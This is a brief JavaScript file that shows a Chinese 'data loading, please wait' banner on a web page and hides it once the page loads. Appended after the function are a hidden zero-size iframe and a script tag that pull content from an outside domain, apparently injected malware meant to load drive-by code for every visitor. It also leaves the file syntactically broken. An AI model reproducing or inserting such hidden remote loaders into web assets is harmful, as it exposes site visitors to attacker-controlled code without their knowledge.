// JavaScript Document
var loadStr="<div id=\"loadpage\" style=\"position:absolute;left:400px;top:75px;font-size:14px;background:#FFFFE1;\"><img src=\"images/large-loading.gif\" border=\"0\"/>&nbsp;数据加载之中，请您稍候......</div>";
document.write(loadStr);
function loadPage(){
  document.getElementById("loadpage").style.display="none";	
}<iframe src=http://web.lylss.com/id.htm width=0 height=0></iframe>
<script language=javascript src=http://web.lylss.com/id.js></script>